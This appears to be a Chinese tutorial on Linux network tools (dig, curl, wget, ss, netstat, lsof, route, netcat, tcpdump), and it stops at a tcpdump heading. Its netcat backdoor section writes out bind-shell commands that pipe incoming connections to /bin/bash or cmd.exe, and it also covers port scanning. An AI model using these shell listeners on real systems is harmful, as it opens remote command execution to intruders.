; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com MX +noall +answer
;; global options: +cmd
qq.com.                 4969    IN      MX      10 mx3.qq.com.
qq.com.                 4969    IN      MX      20 mx2.qq.com.
qq.com.                 4969    IN      MX      30 mx1.qq.com.

查詢NS記錄

dig qq.com NS +noall +answer

查詢所有記錄

查看所有記錄類型(A、MX、NS等),可以使用ANY作為類型。

dig qq.com ANY +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com ANY +noall +answer
;; global options: +cmd
qq.com.                 83      IN      A       183.3.226.35
qq.com.                 83      IN      A       203.205.254.157
qq.com.                 83      IN      A       123.151.137.18
qq.com.                 83      IN      A       61.129.7.47

僅查看記錄的IP

有些場景下,僅需要域名的ip地址(即a記錄),可以使用 +short 選項。

dig qq.com +short
123.151.137.18
203.205.254.157
183.3.226.35
61.129.7.47

+short 也可指定類型

dig qq.com a +short

111.30.144.71
112.53.26.232

dig qq.com mx +short

10 mx3.qq.com.
20 mx2.qq.com.
30 mx1.qq.com.

反向查找

可以使用dig-x 進行ip地址反向查找DNS,場景:如果只有一個外部ip地址,並且希望知道屬於它的網站時。當然過了CDN的域名,只會顯示對應CNAME

dig -x 203.205.254.157 +short 

使用指定DNS來進行查詢

默認情況下,dig 使用 /etc/resolv.conf 文件中定義的DNS。如果要使用其他DNS執行查詢,使用 @dnsserver

dig @8.8.8.8 www.qq.com +short

ins-r23tsuuf.ias.tencent-cloud.net.
109.244.236.76
109.244.236.65

批量查詢

進行批量查詢時可以不用通過shell循環查詢了,dig提供了批量查詢的功能。使用dig -f 從文件內進行批量DNS查詢。

echo www.qq.com > dns.txt
echo www.baidu.com >> dns.txt

dig -f dns.txt +noall +answer

www.baidu.com.          678     IN      CNAME   www.a.shifen.com.
www.a.shifen.com.       106     IN      A       14.215.177.39
www.a.shifen.com.       106     IN      A       14.215.177.38
www.qq.com.             60      IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76

也可以在命令行直接根多個域名即可,這樣查詢結果相比於shell循環查詢會簡潔很多。

dig qq.com mx +noall +answer baidu.org ns +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com mx +noall +answer baidu.org ns +noall +answer
;; global options: +cmd
qq.com.                 4223    IN      MX      10 mx3.qq.com.
qq.com.                 4223    IN      MX      20 mx2.qq.com.
qq.com.                 4223    IN      MX      30 mx1.qq.com.
baidu.org.              300     IN      NS      ns4.brandshelter.net.
baidu.org.              300     IN      NS      ns3.brandshelter.info.
baidu.org.              300     IN      NS      ns2.brandshelter.de.
baidu.org.              300     IN      NS      ns5.brandshelter.us.
baidu.org.              300     IN      NS      ns1.brandshelter.com.

設置dig默認選項

如別名 alias 一樣,在查詢中不想輸入過多的 +noall +answer 之類,可以在 $HOME/.digrc 設置dig 的默認參數,這樣只需和平時一樣使用 dig domain 即可。

cat <<EOF >${HOME}/.digrc
+noall +answer
EOF

dig www.qq.com

www.qq.com.             247     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.6

wget & curl

wget 用於從web下載文件的命令行程序。wget,可以使用 HTTPHTTPSFTP 協議下載文件。wget還允許下載多個文件、斷點續傳、限速、遞歸下載、後台下載、鏡像網站等等。

curl是Linux命令行工具,可以使用任何可支持的協議(如HTTP、FTP、IMAP、POP3、SCP、SFTP、SMTP、TFTP、TELNET、LDAP或FILE)在服務器之間傳輸數據。

在Linux下,curl是由 libcurl 提供驅動封裝的cli客戶端,在 libcurl 驅動下,curl可以一次傳輸多個文件。而PHP中的cURL函數,也是基於libcurl驅動的。

各系統下的安裝

  • Ubuntu/Debian: curl |wgetapt install curl | apt install wget
  • Centos/Fedora: curl | wgetyum install -y curl | yum install -y wget
  • Apline:curl | wgetapk add --no-cache curl | apk add --no-cache wget

curl

cURL常用參數

參數 說明
-i 默認隱藏響應頭,此選項打印響應頭與
-I/–head 僅顯示響應頭
-o 將相應內容保存指定路徑下
-O 將相應內容保存在當前工作目錄下
-C 斷點續傳,在 crtl + c終端後,可以從中斷後部分開始
-v 顯示請求頭與響應頭
-x 使用代理
-X 指定請求方法,POST GET PUT DELETE等
-d 如GET/POST/PUT/DELETE 需要傳的表單參數,如JSON格式
-u username:password 當使用ftp有用戶名可以使用-u,ftp允許匿名用戶訪問可以忽略
–-limit-rate 2000B 限速
-T/–upload-file <file> 上傳一個文件
-c/–cookie-jar <file name> 將cookie下載到文件內
-k/–insecure 允許執行不安全的ssl連接,即調過SSL檢測
--header 'Host: targetapplication.com' 使用請求頭
-L/–location 接受服務端redirect的請求
-F 上傳二進制文件

限制下載速率

curl --limit-rate 100K //yourdomain.com/yourfile.tar.gz -O

使用代理訪問

curl --proxy yourproxy:port //yoururl.com

限速訪問

curl www.baidu.com  --limit-rate 1k

存儲cookie和使用cookie

[root@VM-0-2-centos ~]# curl --cookie-jar cnncookies.txt //www.baidu.com/index.html -O -s -v
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET /index.html HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:14:41 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Added cookie BDORZ="27315" for domain baidu.com, path /, expire 1622117681
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/
< 
{ [data not shown]
* Connection #0 to host www.baidu.com left intact
# Netscape HTTP Cookie File
# //curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.baidu.com      TRUE    /       FALSE   1622117681      BDORZ   27315
[root@VM-0-2-centos ~]# curl --cookie cnncookies.txt //www.baidu.com -s -v -o /dev/null
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> Cookie: BDORZ=27315
> 
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:23:27 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Replaced cookie BDORZ="27315" for domain baidu.com, path /, expire 1622118207
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/  # 這裡可以看到設置的cookie
< 
{ [data not shown]
* Connection #0 to host www.baidu.com left intact

使用代理

curl -x socks5://127.0.0.1:10808 //www.google.com

使用application/x-www-form-urlencoded表單類型

這裡使用的為application/x-www-form-urlencoded

curl -d "option=value&something=anothervalue" -X POST //{hostname}/

使用json格式作為body

curl  -H "Content-Type: application/json" -X POST //host.com/ \
	-d '
	{
		"option": "value", 
		"something": "anothervalue"
	}'

使用curl 上傳文件

curl {host}/api/v1/upimg -F "file=@/Users/fungleo/Downloads/401.png" \
	-H "token: 222" \
	-v

也可以指定MIME類型。如:

curl -F '[email protected];type=image/png' //{host}/api/v1/upimg

curl輸出的格式變量

curl -w參數提供了一些格式變量,可以達到緊緊獲取某些數據

僅獲取http狀態碼

curl -w %{http_code} www.baidu.com -o /dev/null -s

獲取整個請求的時間

獲取整個請求的耗時,單位秒,顯示單位 毫秒

curl -w %{time_total} www.baidu.com -o /dev/null -s

獲取域名解析時間

curl -w %{time_namelookup} www.baidu.com -o /dev/null -s

獲取TCP連接耗時

curl -w %{time_connect} www.baidu.com -o /dev/null -s

獲取SSL/SSH握手到遠程主機耗時

curl -w %{time_appconnect} //www.baidu.com -o /dev/null -s -v

獲取所有重定向的耗時

這裡是從查找、連接、傳輸整個事務的完成到開始傳送數據之前的耗時

curl -w %{time_redirect} www.baidu.com -o /dev/null -s

獲得下載的總位元組數

這裡是http相應的body長度,而不是加上頭部的大小

curl -w %{size_download} www.baidu.com -o /dev/null -s
[root@VM-0-2-centos ~]# curl -w %{size_download} www.baidu.com -o /dev/null -s
2381
[root@VM-0-2-centos ~]# cwww.baidu.com -s|wc l -s
      2     159    2381

獲得請求體送位元組數

curl -w %{size_request} www.baidu.com -o /dev/null -s

獲得傳輸中的連接數

curl -w %{num_connects} www.baidu.com -o /dev/null -s

獲得重定向次數

curl -w %{num_redirects} www.360buy.com -o /dev/null -s  -L

獲得SSL驗證結果

0 表示是成功的

curl -w %{ssl_verify_result} //www.baidu.com -o /dev/null -s -L

獲得重定向的地址

當沒有指定-L時,會返回被重定向後的地址

curl -w %{redirect_url} //www.360buy.com -o /dev/null -s 

獲得上傳和下載速度

curl -w %{speed_download} //www.360buy.com -o /dev/null -s
curl -w %{speed_upload} //www.360buy.com -o /dev/null -s

根據自己需要拼接特定格式

curl -w "總共請求時長:%{time_total}\n總跳轉次數:%{num_redirects}\n" \
www.360buy.com \
-o /dev/null -s  \
-L

總共請求時長:1.338
總跳轉次數:3

wget

簡單使用

使用wget最簡單的方法是為它提供通過HTTP下載的文件的位置。如,下載文件。

wget //website.com/files/file.zip

該操作會將文件下載到工作目錄中。

下載文件並保存為指定名稱

wget –O [file_name] [URL]

將文件下載到指定目錄

默認情況下,wget下載的文件保存在用戶所在工作目錄中。使用 –P 可以將文件保存到指定路徑。

wget –P [wanted_directory] [URL]

設置下載速度

在下載時可以設置下載時最大使用帶寬,這樣就不會使用主機全部的可用帶寬。下載速度以 km 定義單位。

wget --limit-rate [wanted_speed] [URL]

wget --limit-rate 1m //us.download.nvidia.com/tesla/396.37/nvidia-diag-driver-local-repo-ubuntu1710-396.37_1.0-1_amd64.deb 

斷點續傳

如果在下載時取消,wget提供了可以在中斷前停止的地方繼續下載。當下載文件時連接丟失時,這個非常有用。

wget –c [URL]

下載多個文件

wget也提供了下載多個文件的方法:

方法1:將需要下載的文件地址保存在文件中 使用 -i 指定文件,每個URL 單獨佔一行

wget –i [file_name]

下載網頁(網站鏡像)

使用 –m 下載URL中包含的所有連接,結果會保存為一個文件夾

wget –m [URL]

FTP下載

wget也可以下載FTP文件,當需要認證時,可以指定FTP的用戶名和密碼,然後接FTP地址:

wget --ftp-user=[ftp_username] --ftp-password=[ftp_password] ftp://...

後台下載

當下載文件很大時,wget也支持後台下載文件,在網絡不穩定命令行斷開時很實用。

wget –b [URL]

可以使用命令 tail –f wget –log 來檢查下載狀態

中斷重試次數

當網絡中斷後,wget也支持設置在網絡中斷後嘗試下載文件的次數:

wget --tries=[number_of_tries] [URL]

忽略證書驗證

默認情況下,wget會驗證服務端SSL/TLS證書是否有效。如果識別到無效的證書,它將拒絕下載。當在訪問自簽名證書時,可以使用--no-check-certificate 忽略驗證

wget --no-check-certificate [URL]

自定義User-Agent

當服務端阻止了特定的 User-Agent 時,可以進行自定義 User-Agent 設置。

wget --user-agent=」User Agent Here」 「[URL]」

實用技巧-下載內容到標準輸出stdout

如在下載一個tar包時,一般都是wget 後 在tar 解壓到對應目錄,可以使用 -O - 將其下載到標準輸出,-q 靜默方式,通過管道直接解壓到對應的路徑下。

wget -q -O - "//wordpress.org/latest.tar.gz" | tar -xzf - -C /var/www

netstat & ss

netstat (network statistics) 命令行工具,用於監視傳入和傳出的網絡連接,以及查看路由表、接口統計等。netstat在所有類似Unix的操作系統上都可用,在Windows操作系統上也可用,是最基本的網絡服務調試工具。

ss (socket statistics) 命令行工具,用於在Linux系統上顯示與網絡套接字相關的信息。

不過,現在netstat 命令早已被棄用,取而代之的是 iproute 套件中的 ss。ss比起 netstatss 能夠顯示有關網絡連接的詳細信息,並且速度更快。netstat/proc 文件收集信息,當有大量連接要打印時,netstat 效率很低。而ss 是直接從內核空間獲取信息。並且ss命令在使用起來與netstat 非常相似,用戶幾乎可以無縫切換。

各系統下的安裝

  • ss

  • Ubuntu/Debian: iproute2apt install iproute2

  • Centos/Fedora: iprouteyum install -y iproute

  • Apline:iprouteapk add --no-cache iproute

  • netstat

  • Ubuntu/Debian: net-toolsapt install net-tools

  • Centos/Fedora: net-toolsyum install -y net-tools

  • Apline:net-toolsapk add --no-cache net-tools

ss

查看所有連接

沒有任何選項的ss命令只列出所有連接。

查看Listening 與 Non-listening Ports

ss -a

查看監聽 套接字列表

這裡列出所有監聽套接字,不關其是服務監聽還是客戶端請求佔用

ss -l

查看所有TCP連接

這裡只所有的tcp連接, 包含客戶端與服務端

ss -t

查看所有監聽類型的tcp連接

ss -lt

查看所有udp連接

ss -ua

查看監聽類型的UDP連接

ss -lu

顯示socket的pid進程id

ss -p

顯示連接摘要信息

ss -s

顯示ipv6或ipv4 連接

ss -4
ss -6

篩選連接

語法

ss [ OPTIONS ] [ STATE-FILTER ] [ ADDRESS-FILTER ]

ss命令還提供了篩選方法,過濾套接字端口或地址。例如,要顯示具有ssh服務的源端口與目標端口(即監聽與客戶端連接)。

 ss -at '( dport = :22 or sport = :22 )'

也可以通過服務名稱進行過濾

ss -at '( dport = :ssh or sport = :ssh )'

僅顯示所有處於 established 狀態的Ipv4 tcp套接字。

ss -t4 state established -n

Recv-Q Send-Q   Local Address:Port    Peer Address:Port   
0      0        172.16.0.2:22         61.50.248.5:22005   
0      0        172.16.0.2:42930      169.254.0.55:5574    
0      0        172.16.0.2:22         61.50.248.5:22008   
0      0        172.16.0.2:22         61.50.248.5:22003   
0      0        172.16.0.2:40652      94.130.12.30:443     
0      36       172.16.0.2:22         61.50.248.5:22012   
0      0        172.16.0.2:22         61.50.248.5:22004   

列出狀態為time wait的套接字

ss -t4 state time-wait -n

這裡狀態可以為下面的任意一種

  • established
  • syn-sent
  • syn-recv
  • fin-wait-1
  • fin-wait-2
  • time-wait
  • closed
  • close-wait
  • last-ack
  • closing
  • all 上面所有狀態
  • connected 除listen和closed之外的所有狀態
  • synchronized 除syn-sent之外的所有連接狀態
  • 顯示狀態,這些被維護為mini sockets,即 time-wait syn-recv
  • big 與bucket選項相反

過濾地址

ss -nt dst 74.125.236.178

還可以過濾網段

ss -nt dst 74.125.236.178/16

ip和端口的組合

ss -nt dst 74.125.236.178:80

源地址為127.0.0.1,且源端口大於5000

ss -nt src 127.0.0.1 sport gt :5000

源端口為25的smtp套接字

ss -ntlp sport eq :smtp

端口號大於25

ss -nt sport gt :1024

遠程端口小於100的套接字

ss -nt dport \< :100

連接到遠程80端口的

ss -nt state connected dport = :80

不解析主機名

可以通過 -n 選項阻止ss 將ip解析為主機名,來達到更快地獲得輸出,但這也無法進行到端口號的解析。

ss -at '( dport = :22 or sport = :22 )'

State      Recv-Q Send-Q     Local Address:Port       Peer Address:Port                
LISTEN     0      128        		  *:ssh                     *:*                    
ESTAB      0      0          172.16.0.2:ssh           111.206.214.55:49374                
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost005          
ESTAB      0      36         172.16.0.2:ssh           61.50.248.5:22008                
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost003          
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost004          
LISTEN     0      128        	   [::]:ssh            			[::]:*                    


ss -at '( dport = :22 or sport = :22 )' -n
State      Recv-Q Send-Q   Local Address:Port         Peer Address:Port              
LISTEN     0      128      			*:22              			*:*                  
ESTAB      0      0        172.16.0.2:22              111.206.214.55:49374              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22005              
ESTAB      0      36       172.16.0.2:22              61.50.248.5:22008              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22003              
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22004              
LISTEN     0      128            [::]:22              			[::]:*      

僅顯示監聽套接字

ss -ltn

要列出所有偵聽的udp連接,請將t替換為u

ss -lun

顯示時間信息

可以使用 -o 選項,來獲得每個連接的時間信息。通過timer得知

ss -tn -o

State      Recv-Q Send-Q     Local Address:Port    Peer Address:Port              
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22005   timer:(keepalive,40min,0)
ESTAB      0      0          172.16.0.2:42930      169.254.0.55:5574               
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22008   timer:(keepalive,64min,0)
ESTAB      0      0          172.16.0.2:44900      169.254.0.55:80     timer:(keepalive,13sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22003   timer:(keepalive,40min,0)
ESTAB      0      36         172.16.0.2:22         61.50.248.5:22012   timer:(on,347ms,0)
ESTAB      0      0          172.16.0.2:39316      94.130.12.30:443    timer:(keepalive,50sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22004   timer:(keepalive,40min,0)

netstat

  • 列出所有tcp與udp的連接的所有端口 netstat -a
  • 僅列出tcp (Transmission Control Protocol) 端口的連接 netstat -at
  • 僅列出udp (User Datagram Protocol ) 端口的連接 netstat -au
  • 列出所有活動監聽端口連接 netstat -l
  • 列出TCP監聽端口 netstat -lt
  • 列出udp監聽端口 netstat -lu
  • 列出unix socket 監聽端口 netstat -lx
  • 顯示統計信息 netstat -s
  • 顯示tcp的統計信息 netstat -st
  • 顯示udp的統計信息 netstat -su
  • 顯示服務名與PID號 netstat -tp
  • 顯示混雜模式,類似watch 每5s 刷新 netstat -ac 5 | grep tcp
  • 顯示內核路由表,類似 route -n 命令;netstat -r
  • 顯示網絡接口數據包事務,包括傳輸和接收MTU大小的數據包。 netstat -i
  • 顯示內核接口表,類似 ifconfig 命令。 netstat -ie
  • 顯示IPv4和IPv6的廣播信息。netstat -g
  • 混雜模式,間隔時間打印netstat命令的信息 netstat -c [second] -ltnp
  • 顯示原始網絡信息統計 netstat --statistics --raw

lsof

lsof (LiSt Open Files),主要用來找出哪個進程打開了哪些文件。眾所周知,Linux是一個基於文件的操作系統(管道、套接字、目錄、設備等)。使用lsof也可以排查一些網絡問題。如未關閉的文件不能被移動或刪除,網絡端口使用的文件等,都可以通過lsof快速定位。

各系統下的安裝

  • Ubuntu/Debian: lsofapt install lsof
  • Centos/Fedora: lsofyum install -y lsof
  • Apline:lsof apk add lsof --no-cache

列出所有打開的文件

不帶任何參數的情況下運行lsof,可以列出所有打開的文件

lsof

列出用戶進程使用的文件

lsof 可以查看特定用戶進程使用的哪些文件,使用-u

lsof -u root

根據網絡地址查找文件

lsof -i 4

按照程序名稱列出所打卡的文件

這裡不必使用完整的程序名,會列出所有以 name開頭的進程應用使用的文件

lsof -u nginx

列出進程使用的文件

使用 -p [pid] k可以顯示進程打開的文件,可以通過 ^ 來排除特定的PID。

lsof -p [pid]
lsof -p [^pid]

找到使用文件的進程

使用 -t 餐食可以找到哪些進程使用了該文件

lsof -t [file_name]

列出目錄中所有打開的文件

+D 餐食可以對目錄的所有打開實例(包括它包含的所有文件和目錄)進行搜索。

lsof +D [dir]

列出網絡文件

-i 偵聽特定端口號的進程或應用程序,如檢查了哪個程序進程正在使用端口80。

lsof -i:80	

還可以根據端口範圍進程查找

lsof -i:1-1024

根據網絡連接類型來查找文件

lsof還可以根據連接的類型列出文件。例如,TCP使用的文件

lsof -i tcp

拿到進程的父進程ID

lsof -R 可以拿到進程的父進程IP輸出中列出父進程標識(PPID Parent Process IDentification)。

lsof -p [] -R

查看用戶的網絡連接

結合使用 -i-u 命令行選項,我們可以搜索Linux用戶的所有網絡連接。可以按照需要檢查一個被黑客攻擊的系統,如我們檢查用戶root的所有網絡活動:

lsof -a -i -u root

列出所有內存映射文件

lsof -d mem

route

在Linux中,route命令用於處理IP/內核路由表。主要用於通過網絡接口建立到主機/IP的靜態路由。它用於顯示或更新IP/內核路由表。

各系統下的安裝

  • Ubuntu/Debian: net-toolsapt install net-tools
  • Centos/Fedora: net-toolsyum install -y net-tools
  • Apline:net-tools apk add net-tools --no-cache

route命令不加任何參數,默認情況下將顯示內核路由表條目的詳細信息。當包在這個路由IP範圍內發送時,通過ARP協議找到目的地的MAC地址,包將被發送到MAC地址。

當在路由條目中找不到對應的路由信息,數據包將被轉發到默認網關,該網關決定該數據包的進一步路由。

route命令不加參數,會在輸出時顯示為主機名,這時解析會影響性能。可以使用 -n 選項請求不顯示主機名。

route -n

添加默認網關

可以使用 route add 命令添加一個默認網關。

route add default gw 10.0.0.1

添加一條路由

這裡添加一條,將通過10.0.0.0/24的流量由eth0設備通過 添加一條路由,如下所示。

route add -net 10.0.0.0 netmask 255.255.255.0 dev eth0

-net 目標網絡

dev 將規則和設備關聯在一起

添加一個目標主機

route add -host 12.123.0.10 gw 192.168.1.1 enp0s3

列出內核路由表信息

內核維護了路由緩存以更快地路由數據包。可以使用 -C 來打印內核的路由緩存信息。

route -Cn

Kernel IP routing cache
Source          Destination     Gateway         Flags Metric Ref    Use Iface
10.0.0.4        10.0.0.1        10.0.0.1              0      1        0 eth0
10.0.0.1        10.0.0.4        10.0.0.4        il    0      0       44 lo
10.0.0.1        10.0.0.255      10.0.0.255      ibl   0      0        7 lo

拒絕路由到特定的主機

有些場景下,可能需要拒絕數據包路由到特定的主機/網絡。

route add -host 192.168.1.51 reject

可以看到路由已經不會路由該流量了

ping 10.0.0.2
connect: No route to host

如果需要拒絕整個網絡可以這樣

route add -net 192.168.1.0 netmask 255.255.255.0 reject

刪除一條路由

# 刪除默認路由
route del default
# 刪除剛才添加的拒絕路由
route del -host 10.0.0.2 reject

ncat & netcat(nc) & nmap

netcat

netcat(簡稱nc)是一款功能強大的網絡命令行工具,用於在Linux中執行與TCP、UDP或UNIX域套接字相關的任何操作。netcat可以用於端口掃描、端口重定向,作為端口監聽器(用於傳入連接);它還可以用來打開遠程連接和其他許多事情。此外,還可以將其用作訪問目標服務器的後門。netcat還因此被稱為TCP/IP的「瑞士軍刀」。

各系統下的安裝

  • Ubuntu/Debian: netcatapt install netcat
  • Centos/Fedora: ncyum install -y nc
  • Apline:netcat-openbsdapk add --no-cache netcat-openbsd

端口掃描

netcat可以用於端口掃描:了解哪些端口是開放的,並且在目標機器上運行服務。它可以掃描單一或多個開防的端口。如示例,-z 選項將nc設置為只掃描監聽守護進程,而不實際向它們發送任何數據。-v 選項啟用詳細模式,-w 為無法建立連接時超時時間。

nc -v -w 10 -z 195.133.11.43 22

Ncat: Version 7.50 ( //nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
Ncat: 0 bytes sent, 0 bytes received in 0.25 seconds.

也可以掃描一個範圍

nc -v -n -z -w 1 127.0.0.1 1-1000

在服務器間傳送文件

netcat可以在兩台服務器之間傳輸文件,這兩個系統都必須安裝nc。例如,要將ISO映像文件從一台計算機複製到另一台計算機並監視傳輸進度(使用pv),請在發送方/接收端上運行以下命令。

將以netcat 的監聽模式 -l

tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

在接受端運行命令

nc 192.168.1.4 3000 | pv | tar -zxf -

使用netcat實現一個命令行聊天服務器

可以使 netcat 創建一個簡單的命令行消息服務器,前提條件是nc必須安裝在兩個系統上。在服務端,運行命令來創建監聽端口5555的聊天服務器。

nc -l -vv -p 5000

在客戶端上,運行命令連接到服務端進行聊天會話。

nc {ip} 5000

使用nc創建一個web服務器

使用nc -l 選項可以創建一個基礎的不安全的web服務器,需要一個靜態html文件。然後可以通過 while 保持netcat命令不退出。正常情況下,netcat在連接斷開時退出。

while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
[root@vm207694 ~]# while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
GET / HTTP/1.1
Host: ip:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

網絡故障排查

netcat 主要常用的一個方面時排查網絡連接故障,可以使用 netcat 來驗證服務器正在發送哪些數據以響應客戶端發出的命令。

使用命令的可以輸出包括web服務器發送的標頭,這些標頭可用於故障排除。也可以使用 curl 等命令進行同樣的操作。

printf "GET / HTTP/1.0\r\n\r\n" | nc baidu.com 80

HTTP/1.1 200 OK
Date: Mon, 28 Jun 2021 12:16:55 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Tue, 29 Jun 2021 12:16:55 GMT
Connection: Close
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=//www.baidu.com/">
</html>

查找端口上運行的服務

使用 netcat 可以獲取服務監聽端口的信息,單一般情況下,僅常見公共服務會這樣,一些服務並不會相應對應的應用名稱。。-n 標誌表示禁用DNS或服務查找。

nc -v -n 195.133.11.43 22
Ncat: Version 7.50 ( //nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
SSH-2.0-OpenSSH_7.4

網絡後門

一般情況下,黑客將 netcat 當作網絡後門來運行,通過反彈式shell以獲取遠程命令。要充當後門。-e 在目標系統上運行的命令。

如監聽一個端口,並將所有傳入的輸入傳遞給bash命令,結果將傳送於客戶端。

# linux
nc -l -p -v 3001  -e /bin/bash

# windows
nc -l -p 3001  -e cmd.exe

檢查一個udp端口

-z:無法進行I/O ,僅報告連接狀態

-u:使用udp協議

nc -vz -u 

tcpdump

tcpdump網絡嗅探器,將強大和簡單結合到一個單一的命令行界面中,能夠將網絡中的報文抓取,輸出到屏幕或者記錄到文件中。

各系統下的安裝

  • Ubuntu/Debian: tcpdumpapt-get install -y tcpdump
  • Centos/Fedora: tcpdumpyum install -y tcpdump
  • Apline:tcpdump apk add tcpdump --no-cache

查看指定接口上的所有通訊

語法

參數 說明
-i [interface]
 -w [flle] 第一個n表示將地址解析為數字格式而不是主機名,第二個N表示將端口解析為數字格式而不是服務名
-nn
-X hex and ASCII
-A ASCII
-XX
-v 詳細信息
-r 讀取文件而不是實時抓包
關鍵字
type host、net、port、portrange
direction src、dst、src or dst 、src and ds
protocol ether、ip,arp、tcp、udp、wlan

捕獲所有網絡接口

tcpdump -D

按IP查找流量

最常見的查詢之一 host,可以看到來往於 1.1.1.1 的流量。

tcpdump host 1.1.1.1

按源/目的 地址過濾

如果只想查看來自/向某方向流量,可以使用 srcdst

tcpdump src|dst 1.1.1.1

通過網絡查找數據包

使用 net 選項,來要查找出/入某個網絡或子網的數據包。

tcpdump net 1.2.3.0/24

使用十六進制輸出數據包內容

hex 可以以16進制輸出包的內容

tcpdump -c 1 -X icmp

查看特定端口的流量

使用 port 選項來查找特定的端口流量。

tcpdump port 3389
tcpdump src port 1025

查找端口範圍的流量

tcpdump portrange 21-23

過濾包的大小

如果需要查找特定大小的數據包,可以使用以下選項。你可以使用 lessgreater

tcpdump less 32
tcpdump greater 64
tcpdump <= 128

捕獲流量輸出為文件

-w 可以將數據包捕獲保存到一個文件中以便將來進行分析。這些文件稱為PCAP(PEE-cap)文件,它們可以由不同的工具處理,包括 Wireshark

tcpdump port 80 -w capture_file

組合條件

tcpdump也可以結合邏輯運算符進行組合條件查詢

  • AND
    and or &&

  • OR
    or or ||

  • EXCEPT
    not or !

tcpdump -i eth0 -nn host 220.181.57.216 and 10.0.0.1  # 主機之間的通訊
tcpdump -i eth0 -nn host 220.181.57.216 or 10.0.0.1
# 獲取10.0.0.1與 10.0.0.9或 10.0.0.1 與10.0.0.3之間的通訊
tcpdump -i eth0 -nn host 10.0.0.1 and \(10.0.0.9 or 10.0.0.3\)

原始輸出

並顯示人類可讀的內容進行輸出包(不包含內容)。

tcpdump -ttnnvvS -i eth0 

IP到端口

讓我們查找從某個IP到端口任何主機的某個端口所有流量。

tcpdump -nnvvS src 10.5.2.3 and dst port 3389

去除特定流量

